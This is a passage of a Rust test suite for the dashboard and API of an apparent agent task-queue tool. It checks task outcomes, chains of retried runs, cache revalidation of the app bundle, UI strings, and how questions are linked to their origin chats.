23218 let runs = fx.runs();
23219 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23220 write_run(&runs, old, RunStatus::Stalled);
23221 write_run(&runs, new, RunStatus::Blocked);
23222 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23223 fx.queue().put(&mut t).expect("put");
23224
23225 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23226 assert_eq!(task["status"], "held");
23227 assert_eq!(task["is_latest"], true);
23228 assert!(task["latest"].is_null());
23229 assert!(task["finished_by"].is_null());
23230 assert_eq!(task["closed_by_hand"], false);
23231 }
23232
23233 #[tokio::test]
23234 async fn a_direct_run_has_no_task_outcome() {
23235 let fx = Fixture::start().await;
23236 let runs = fx.runs();
23237 let id = "20260901-000000-aaaa";
23238 write_run(&runs, id, RunStatus::Blocked);
23239 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23240 assert!(view["task"].is_null());
23241 }
23242
23243 #[test]
23244 fn task_outcome_does_not_guess_a_finishing_run() {
23245 let a = "20260901-000000-aaaa";
23246 let b = "20260901-000000-bbbb";
23247 let c = "20260901-000000-cccc";
23248 let dir = tempfile::tempdir().expect("tempdir");
23249 write_run(dir.path(), a, RunStatus::Blocked);
23250 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23251 let read = |id: &str| read_run(dir.path(), id).ok();
23253 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23256 let out = task_outcome(&t, a, 3, read);
23257 assert!(out.finished_by.is_none());
23258 assert!(out.closed_by_hand);
23259 let latest = out.latest.expect("latest");
23260 assert_eq!(latest.id, c);
23261 assert_eq!(latest.status, None);
23262 assert_eq!(latest.outcome, "record unreadable");
23263
23264 write_run(dir.path(), c, RunStatus::Ready);
23266 let t = outcome_task(&[a, c], TaskStatus::Done);
23267 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23268 assert_eq!(out.finished_by.expect("finisher").id, c);
23269 assert!(!out.closed_by_hand);
23270
23271 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23273 assert!(task_outcome(&t, a, 3, read).is_latest);
23274 }
23275
23276 #[tokio::test]
23277 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23278 let fx = Fixture::start().await;
23283 let q = fx.queue();
23284 let runs = fx.runs();
23285 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23286 write_run(&runs, first, RunStatus::Blocked);
23287 write_run(&runs, second, RunStatus::Merged);
23288
23289 let mut t = Task::new(
23290 "one task".to_owned(),
23291 "do it".to_owned(),
23292 PathBuf::from("/repo"),
23293 Source::Human,
23294 );
23295 t.runs = vec![first.to_owned(), second.to_owned()];
23296 q.put(&mut t).expect("put");
23297
23298 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23299 assert_eq!(earlier["superseded_by"], "dddd");
23300 assert_eq!(earlier["latest_attempt"]["id"], second);
23301 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23302 assert_eq!(
23303 earlier["latest_attempt"]["resolved"], true,
23304 "the run that replaced it landed, so this one reads as settled"
23305 );
23306
23307 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23308 assert!(
23309 later["superseded_by"].is_null(),
23310 "the latest attempt is not superseded by anything"
23311 );
23312 assert!(
23313 later["latest_attempt"].is_null(),
23314 "the latest attempt has no later attempt of its own"
23315 );
23316
23317 assert!(APP_JS.contains("run.latest_attempt"));
23324 assert!(APP_JS.contains("data-superseded"));
23325 assert!(APP_JS.contains("#/runs/${latest.id}"));
23326 }
23327
23328 #[tokio::test]
23329 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23330 let fx = Fixture::start().await;
23336 let q = fx.queue();
23337 let runs = fx.runs();
23338 let (a, b, c) = (
23339 "20260901-000000-aaaa",
23340 "20260901-000000-bbbb",
23341 "20260901-000000-cccc",
23342 );
23343 write_run(&runs, a, RunStatus::Blocked);
23344 write_run(&runs, b, RunStatus::Blocked);
23345 write_run(&runs, c, RunStatus::Merged);
23346
23347 let mut t = Task::new(
23348 "retried twice".to_owned(),
23349 "do it".to_owned(),
23350 PathBuf::from("/repo"),
23351 Source::Human,
23352 );
23353 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23354 q.put(&mut t).expect("put");
23355
23356 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23357 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23358 assert_eq!(
23359 view["latest_attempt"]["id"], c,
23360 "the chain's current head, not the intermediate Blocked retry"
23361 );
23362 assert_eq!(view["latest_attempt"]["resolved"], true);
23363
23364 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23365 assert_eq!(mid["latest_attempt"]["id"], c);
23366 assert_eq!(mid["latest_attempt"]["resolved"], true);
23367 }
23368
23369 #[tokio::test]
23370 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23371 let fx = Fixture::start().await;
23372 let q = fx.queue();
23373 let runs = fx.runs();
23374
23375 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23378 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23379 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23380 let mut t1 = Task::new(
23381 "still stuck".to_owned(),
23382 "do it".to_owned(),
23383 PathBuf::from("/repo"),
23384 Source::Human,
23385 );
23386 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23387 q.put(&mut t1).expect("put");
23388 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23389 assert_eq!(view1["latest_attempt"]["resolved"], false);
23390 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23391 assert_eq!(view1["latest_attempt"]["done"], true);
23392
23393 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23395 write_run(&runs, run_a, RunStatus::Blocked);
23396 write_run(&runs, run_b, RunStatus::Implementing);
23397 let mut t3 = Task::new(
23398 "retrying".to_owned(),
23399 "do it".to_owned(),
23400 PathBuf::from("/repo"),
23401 Source::Human,
23402 );
23403 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23404 q.put(&mut t3).expect("put");
23405 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23406 assert_eq!(view3["latest_attempt"]["id"], run_b);
23407 assert_eq!(view3["latest_attempt"]["resolved"], false);
23408 assert_eq!(view3["latest_attempt"]["done"], false);
23409
23410 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23415 write_run(&runs, noop_a, RunStatus::Blocked);
23416 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23417 let mut t2 = Task::new(
23418 "claims done".to_owned(),
23419 "do it".to_owned(),
23420 PathBuf::from("/repo"),
23421 Source::Human,
23422 );
23423 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23424 q.put(&mut t2).expect("put");
23425 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23426 assert_eq!(
23427 view2["latest_attempt"]["resolved"], false,
23428 "an unverified no-op claim must not read as a confirmed finish"
23429 );
23430
23431 assert!(APP_JS.contains("latest.resolved"));
23434 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23437 assert!(APP_JS.contains("Latest attempt: "));
23438 assert!(APP_JS.contains("in flight"));
23439 assert!(APP_JS.contains("not resolved"));
23440 }
23441
23442 #[tokio::test]
23443 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23444 let fx = Fixture::start().await;
23445 let js = fx.get("/app.js").await;
23451 assert_eq!(js.status, 200);
23452 let tag = js
23453 .header("etag")
23454 .expect("an etag to revalidate against")
23455 .to_owned();
23456 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23457 assert_eq!(
23458 js.header("cache-control"),
23459 Some("no-cache, must-revalidate"),
23460 "the phone has to ask every time"
23461 );
23462
23463 let again = fx
23466 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23467 .await;
23468 assert_eq!(
23469 again.status, 304,
23470 "a deck it already has costs one round trip"
23471 );
23472 assert!(again.body.is_empty(), "304 carries no body");
23473
23474 let weak = fx
23477 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23478 .await;
23479 assert_eq!(weak.status, 304);
23480 let stale = fx
23481 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23482 .await;
23483 assert_eq!(stale.status, 200, "an older build must be replaced");
23484 assert!(stale.body.contains("renderRunActions"));
23485 }
23486
23487 #[test]
23488 fn the_task_detail_has_an_actions_fab_and_sheet() {
23489 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23490 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23491 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23492 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23494 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23495 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23497 assert!(APP_JS.contains("renderTaskActions(null);"));
23498 let sheet = APP_JS
23500 .find("function renderTaskActions")
23501 .expect("sheet renderer");
23502 let body = &APP_JS[sheet..sheet + 3000];
23503 assert!(body.contains("changePriority("));
23504 assert!(body.contains("openTaskEdit(task)"));
23505 assert!(body.contains("renderTaskHoldBox(host"));
23506 assert!(body.contains("renderTaskDoneBox(host"));
23507 assert!(body.contains("renderTaskDeleteBox(host"));
23508 assert!(APP_JS.contains("API.priority(id)"));
23509 assert!(APP_JS.contains("API.deleteTask(id)"));
23510 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23512 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23514 }
23515
23516 #[test]
23517 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23518 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23519 let actions = INDEX_HTML
23520 .find("id=\"run-actions-box\"")
23521 .expect("actions box");
23522 assert!(task < actions, "the task entry comes first in the sheet");
23523 assert!(APP_JS.contains("renderRunTaskEntry"));
23524 assert!(APP_JS.contains("\"Open task \""));
23525 assert!(APP_JS.contains("started directly, no task"));
23527 assert!(APP_JS.contains("sheet-task-link"));
23528 assert!(APP_JS.contains("task-chip-link"));
23529 }
23530
23531 #[test]
23532 fn the_deck_never_sends_the_operator_to_a_terminal() {
23533 assert!(
23536 !APP_JS.contains("Run `magi fold` first"),
23537 "the deck must offer the fold, not prescribe a shell command"
23538 );
23539 assert!(APP_JS.contains("foldRun:"));
23540 assert!(APP_JS.contains("resumeRun:"));
23541 assert!(APP_JS.contains("renderRunActions"));
23542
23543 assert!(APP_JS.contains("armedFold"));
23545 assert!(APP_JS.contains("Yes, fold worktrees"));
23546
23547 assert!(APP_JS.contains("can no longer be resumed"));
23550 }
23551
23552 #[test]
23553 fn a_finished_run_explains_itself_with_its_own_last_line() {
23554 assert!(
23560 !APP_JS.contains("collapsed on agent quota"),
23561 "a stall must not be explained by a cause the deck did not check"
23562 );
23563 assert!(
23564 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23565 "and a block must not offer a guess with an `or` in it"
23566 );
23567
23568 assert!(
23572 APP_JS.contains("setText(r.event, run.event || \"\")"),
23573 "the run's last line is rendered unconditionally"
23574 );
23575 assert!(
23576 !APP_JS.contains("moving && run.event"),
23577 "and never gated on the run still moving"
23578 );
23579
23580 assert!(APP_JS.contains("lost to quota"));
23582 }
23583
23584 #[test]
23606 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23607 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23608 let shapes_body_start =
23609 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23610 let shapes_close = APP_JS[shapes_body_start..]
23611 .find("].map(")
23612 .expect("the shape list is closed by its done-computing .map(...)")
23613 + shapes_body_start;
23614 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23615
23616 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23617 for entry in shapes_src.split('{').skip(1) {
23618 let waiting = entry.contains("waiting: true");
23619 let dead = entry.contains("live: \"dead\"");
23620 let status_at =
23621 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23622 let status_end = entry[status_at..]
23623 .find('"')
23624 .expect("the status string is closed")
23625 + status_at;
23626 let parked = entry.contains("display_status: \"parked\"");
23627 shapes.push((
23628 waiting,
23629 entry[status_at..status_end].to_string(),
23630 dead,
23631 parked,
23632 ));
23633 }
23634 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23635
23636 let done_rule_marker = "done: !";
23640 let done_rule_at = APP_JS[shapes_close..]
23641 .find(done_rule_marker)
23642 .expect("the done rule follows the shape list")
23643 + shapes_close
23644 + done_rule_marker.len();
23645 let includes_at = APP_JS[done_rule_at..]
23646 .find(".includes(shape.status)")
23647 .expect("the done rule ends in .includes(shape.status)")
23648 + done_rule_at;
23649 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23650 .trim()
23651 .trim_start_matches('[')
23652 .trim_end_matches(']')
23653 .split(',')
23654 .map(|s| s.trim().trim_matches('"'))
23655 .filter(|s| !s.is_empty())
23656 .collect();
23657
23658 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23659 .into_iter()
23660 .map(|(waiting, status, dead, parked)| {
23661 let done = !not_done.contains(&status.as_str());
23662 (waiting, status, dead, parked, done)
23663 })
23664 .collect();
23665
23666 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23670 if waiting {
23671 return "waiting";
23672 }
23673 if dead
23674 && !parked
23675 && !matches!(
23676 status,
23677 "merged"
23678 | "ready"
23679 | "stalled"
23680 | "blocked"
23681 | "failed"
23682 | "verified_noop"
23683 | "superseded"
23684 | "already_in_base"
23685 )
23686 {
23687 return "stale";
23688 }
23689 match status {
23690 "merged" | "ready" => "landed",
23691 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23692 | "already_in_base" => "ended",
23693 _ => "flight",
23694 }
23695 }
23696
23697 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23700 match filter_key {
23701 "active" => !done,
23702 "flight" => !done && !waiting && !dead,
23703 "stale" => !done && !waiting && dead,
23704 "waiting" => waiting,
23705 "done" => done,
23706 "all" => true,
23707 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23708 }
23709 }
23710
23711 let compatible = |section: &str, filter_key: &str| {
23712 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23713 run_section(*waiting, status, *dead, *parked) == section
23714 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23715 })
23716 };
23717
23718 let expected = [
23723 ("waiting", [true, false, false, true, true, true]),
23724 ("stale", [true, false, true, false, false, true]),
23725 ("flight", [true, true, false, false, false, true]),
23726 ("landed", [false, false, false, false, true, true]),
23727 ("ended", [false, false, false, false, true, true]),
23728 ];
23729 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23730
23731 for (section, wants) in expected {
23732 for (filter_key, want) in filter_keys.iter().zip(wants) {
23733 assert_eq!(
23734 compatible(section, filter_key),
23735 want,
23736 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23737 );
23738 }
23739 }
23740
23741 assert!(
23744 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23745 );
23746 assert!(APP_JS.contains(
23747 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23748 ));
23749 assert!(APP_JS.contains(
23750 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23751 ));
23752 }
23753
23754 #[tokio::test]
23755 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23756 let dir = tempfile::tempdir().expect("tempdir");
23760 let explicit = dir.path().join("not-a-checkout");
23761 std::fs::create_dir_all(&explicit).expect("create dir");
23762 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23763
23764 let missing = dir.path().join("does-not-exist-at-all");
23765 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23766 }
23767
23768 #[test]
23769 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23770 assert!(APP_JS.contains("function statsDonutArcs"));
23771 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23772 assert!(APP_JS.contains("function statusInBucket"));
23774 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23775 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23776 let buckets = [
23777 "merged",
23778 "ready",
23779 "in_progress",
23780 "blocked",
23781 "failed",
23782 "verified_noop",
23783 "superseded",
23784 "stalled",
23785 ];
23786 for key in buckets {
23787 let var = format!("--verdict-{key}:");
23788 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23790 assert!(
23791 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23792 "{key}"
23793 );
23794 }
23795 }
23796
23797 #[tokio::test]
23798 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23799 let dir = tempfile::tempdir().expect("tempdir");
23800 let queue = Queue::at(dir.path().join("queue"));
23801 let talks = Talks::at(dir.path().join("talks"));
23802 std::fs::create_dir_all(queue.root()).unwrap();
23803 std::fs::create_dir_all(talks.root()).unwrap();
23804
23805 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23807 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23808
23809 let mut task = Task::new(
23811 "title".into(),
23812 "inst".into(),
23813 PathBuf::from("/repo"),
23814 Source::Human,
23815 );
23816 task.id = "20261019-123456-abcd".into();
23817 std::fs::write(
23819 queue.path_of(&task.id),
23820 serde_json::to_string(&task).unwrap(),
23821 )
23822 .unwrap();
23823
23824 let talk_id = "20261019-234567-cdef";
23825 seed_talk_at(&talks, talk_id, "open");
23826
23827 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23829 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23830
23831 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23833 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23834 }
23835
23836 #[tokio::test]
23837 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23838 let home = tempfile::tempdir().unwrap();
23839 let ui = delta_test_ui(home.path());
23840 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23842 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23843 assert!(
23844 questions_list(State(ui.clone()))
23845 .await
23846 .unwrap()
23847 .0
23848 .is_empty()
23849 );
23850 assert!(
23851 question_origins(State(ui.clone()))
23852 .await
23853 .unwrap()
23854 .0
23855 .is_empty()
23856 );
23857 let mut question = Question::new(
23858 "run-history".into(),
23859 "review".into(),
23860 "seat".into(),
23861 "Useful question".into(),
23862 "Useful detail".into(),
23863 vec![],
23864 );
23865 ui.questions.put(&mut question).unwrap();
23866 let core = questions_core(State(ui.clone())).await.unwrap().0;
23867 assert_eq!(core.len(), 1);
23868 assert_eq!(core[0].question.summary, "Useful question");
23869 assert!(!core[0].can_consult_chat);
23870 assert!(core[0].origin_chat.is_none());
23871 assert_eq!(core[0].record_revision, question_record_revision(&question));
23872 assert!(question_origins(State(ui.clone())).await.is_err());
23873 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23874 }
23875
23876 #[tokio::test]
23877 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23878 let home = tempfile::tempdir().unwrap();
23879 let ui = delta_test_ui(home.path());
23880 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23881 let mut parent = Task::new(
23882 "parent".into(),
23883 "body".into(),
23884 PathBuf::from("/repo"),
23885 Source::Agent {
23886 run: chat.clone(),
23887 node: crate::queue::CHAT_NODE.into(),
23888 },
23889 );
23890 parent.id = "parent-task".into();
23891 parent.runs = vec!["parent-run".into()];
23892 ui.queue.put(&mut parent).unwrap();
23893 let mut previous = parent;
23894 for generation in 1..=2 {
23895 let mut child = Task::new(
23896 "child".into(),
23897 "body".into(),
23898 PathBuf::from("/repo"),
23899 Source::Human,
23900 );
23901 child.id = format!("child-task-{generation}");
23902 child.runs = vec![format!("child-run-{generation}")];
23903 child.followup = Some(crate::queue::FollowUp {
23904 origin_task: Some(previous.id.clone()),
23905 run: previous.runs[0].clone(),
23906 pr: String::new(),
23907 findings: vec![],
23908 generation,
23909 });
23910 ui.queue.put(&mut child).unwrap();
23911 previous = child;
23912 }
23913 let mut collision = Task::new(
23916 "collision".into(),
23917 String::new(),
23918 PathBuf::from("/repo"),
23919 Source::Human,
23920 );
23921 collision.id = "collision-task".into();
23922 collision.runs = vec![previous.id.clone()];
23923 ui.queue.put(&mut collision).unwrap();
23924 let mut questions = Vec::new();
23925 for (node, reference, expected, eligible) in [
23926 (crate::triage::NODE, previous.id.as_str(), true, false),
23927 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23928 ("review", previous.runs[0].as_str(), true, true),
23929 (
23930 crate::bump::NOTICE_NODE,
23931 previous.runs[0].as_str(),
23932 true,
23933 false,
23934 ),
23935 ("review", previous.id.as_str(), false, false),
23937 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23938 ("review", "unrelated", false, false),
23939 ] {
23940 let mut q = Question::new(
23941 reference.into(),
23942 node.into(),
23943 "seat".into(),
23944 "Question".into(),
23945 String::new(),
23946 vec![],
23947 );
23948 ui.questions.put(&mut q).unwrap();
23949 questions.push((q, expected, eligible));
23950 }
23951 for (node, reference, associated, eligible) in [
23952 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23953 (
23954 crate::reconcile::NODE,
23955 previous.runs[0].as_str(),
23956 false,
23957 true,
23958 ),
23959 ("implement", previous.id.as_str(), false, false),
23960 ] {
23961 let mut q = Question::new(
23962 reference.into(),
23963 node.into(),
23964 crate::reconcile::SEAT.into(),
23965 "Reconcile".into(),
23966 String::new(),
23967 vec![],
23968 );
23969 ui.questions.put(&mut q).unwrap();
23970 questions.push((q, associated, eligible));
23971 }
23972 let mut release = Question::new(
23973 "release-record".into(),
23974 crate::bump::NOTICE_NODE.into(),
23975 "release-watch".into(),
23976 "Release".into(),
23977 String::new(),
23978 vec![],
23979 );
23980 ui.questions.put(&mut release).unwrap();
23981 let watch = crate::release_watch::WatchState {
23982 question: Some(release.id.clone()),
23983 run: Some(previous.runs[0].clone()),
23984 held_task: Some(previous.id.clone()),
23985 ..Default::default()
23986 };
23987 let watch_dir = home.path().join("release-watch");
23988 std::fs::create_dir_all(&watch_dir).unwrap();
23989 let watch_path = watch_dir.join("watch.json");
23990 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23991 for batch in [
23993 Vec::new(),
23994 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23995 ] {
23996 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23997 assert!(watches.is_empty());
23998 }
23999 questions.push((release.clone(), true, false));
24000
24001 let views = questions_list(State(ui.clone())).await.unwrap().0;
24002 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24003 for (q, associated, eligible) in &questions {
24004 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24005 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24006 let expected = associated.then_some(chat.as_str());
24007 assert_eq!(
24008 view.origin_chat.as_deref(),
24009 expected,
24010 "{} {}",
24011 q.node,
24012 q.run
24013 );
24014 assert_eq!(origin.origin_chat.as_deref(), expected);
24015 assert_eq!(view.origin_chat_closed, *associated);
24016 assert_eq!(origin.origin_chat_closed, *associated);
24017 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24018 assert_eq!(origin.can_consult_chat, *eligible);
24019 }
24020 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24022 let link = crate::release_watch::WatchState {
24023 run,
24024 held_task,
24025 ..watch.clone()
24026 };
24027 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24028 let (tasks, talks, watches) =
24029 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24030 assert_eq!(
24031 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24032 .unwrap()
24033 .id,
24034 chat,
24035 );
24036 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24037 }
24038 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24039 let duplicate_path = watch_dir.join("duplicate.json");
24041 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24042 let (tasks, talks, watches) =
24043 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24044 assert!(
24045 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24046 .is_none()
24047 );
24048 std::fs::remove_file(duplicate_path).unwrap();
24049 let mut unrelated = Task::new(
24051 "other".into(),
24052 String::new(),
24053 PathBuf::from("/repo"),
24054 Source::Human,
24055 );
24056 unrelated.id = "unrelated-task".into();
24057 ui.queue.put(&mut unrelated).unwrap();
24058 let mut conflicting = watch.clone();
24059 conflicting.held_task = Some(unrelated.id);
24060 std::fs::write(
24061 watch_dir.join("conflict.json"),
24062 serde_json::to_vec(&conflicting).unwrap(),
24063 )
24064 .unwrap();
24065 let (tasks, talks, watches) =
24066 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24067 assert!(
24068 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24069 .is_none()
24070 );
24071 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24072 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24073 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24074 assert!(origin.origin_chat.is_none());
24075 assert!(!origin.origin_chat_closed);
24076 }
24077 }
24078
24079 #[test]
24080 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24081 let home = tempfile::tempdir().unwrap();
24082 let ui = delta_test_ui(home.path());
24083 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24084 for i in 0..1000 {
24085 let mut task = Task::new(
24086 "unrelated".into(),
24087 "instruction ".repeat(256),
24088 PathBuf::from("/repo"),
24089 Source::Human,
24090 );
24091 task.id = format!("history-{i:04}");
24092 ui.queue.put(&mut task).unwrap();
24093 let id = seed_talk_at(&ui.talks, &task.id, "open");
24094 let mut talk = ui.talks.get(&id).unwrap();
24095 talk.pending = "history ".repeat(256);
24096 ui.talks.put(&mut talk).unwrap();
24097 }
24098 let mut parent = Task::new(
24099 "parent".into(),
24100 "body".into(),
24101 PathBuf::from("/repo"),
24102 Source::Agent {
24103 run: chat_id.clone(),
24104 node: crate::queue::CHAT_NODE.into(),
24105 },
24106 );
24107 parent.id = "task-parent".into();
24108 parent.runs = vec!["run-parent".into()];
24109 ui.queue.put(&mut parent).unwrap();
24110 let mut child = Task::new(
24111 "child".into(),
24112 "body".into(),
24113 PathBuf::from("/repo"),
24114 Source::Human,
24115 );
24116 child.id = "task-child".into();
24117 child.runs = vec!["run-child".into()];
24118 child.followup = Some(crate::queue::FollowUp {
24119 run: "run-parent".into(),
24120 origin_task: Some(parent.id.clone()),
24121 pr: "https://example.invalid/pr/1".into(),
24122 findings: vec![],
24123 generation: 1,
24124 });
24125 ui.queue.put(&mut child).unwrap();
24126 let mut question = Question::new(
24127 child.id.clone(),
24128 crate::conduct::NODE.into(),
24129 "seat".into(),
24130 "Continue?".into(),
24131 String::new(),
24132 vec![],
24133 );
24134 let (tasks, talks, _watches) =
24135 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24136 assert_eq!(tasks.len(), 2);
24137 assert_eq!(talks.len(), 1);
24138 assert_eq!(
24139 ui.monitor.queue_index.lock().unwrap().reparsed,
24140 0,
24141 "exact ancestry bypasses the index"
24142 );
24143 assert_eq!(
24144 crate::consult::origin_talk(&tasks, &talks, &question)
24145 .unwrap()
24146 .id,
24147 chat_id
24148 );
24149 question.run = "run-child".into();
24150 question.node = "review".into();
24151 for origin_task in [Some(parent.id.clone()), None] {
24152 child.followup.as_mut().unwrap().origin_task = origin_task;
24153 ui.queue.put(&mut child).unwrap();
24154 let (tasks, talks, _watches) =
24155 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24156 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24157 let expected =
24158 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24159 .unwrap();
24160 assert_eq!(actual.id, expected.id);
24161 assert!(!actual.status.open());
24162 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24163 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24164 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24167 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24168 }
24169 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24170 ui.queue.put(&mut child).unwrap();
24171 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24172 let (tasks, talks, _watches) =
24173 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24174 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24175 child.origin_chat = Some(chat_id.clone());
24176 ui.queue.put(&mut child).unwrap();
24177 let (tasks, talks, _watches) =
24178 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24179 assert_eq!(
24180 crate::consult::origin_talk(&tasks, &talks, &question)
24181 .unwrap()
24182 .id,
24183 chat_id
24184 );
24185 let revision = question_record_revision(&question);
24186 question.abandon("settled elsewhere");
24187 assert_ne!(revision, question_record_revision(&question));
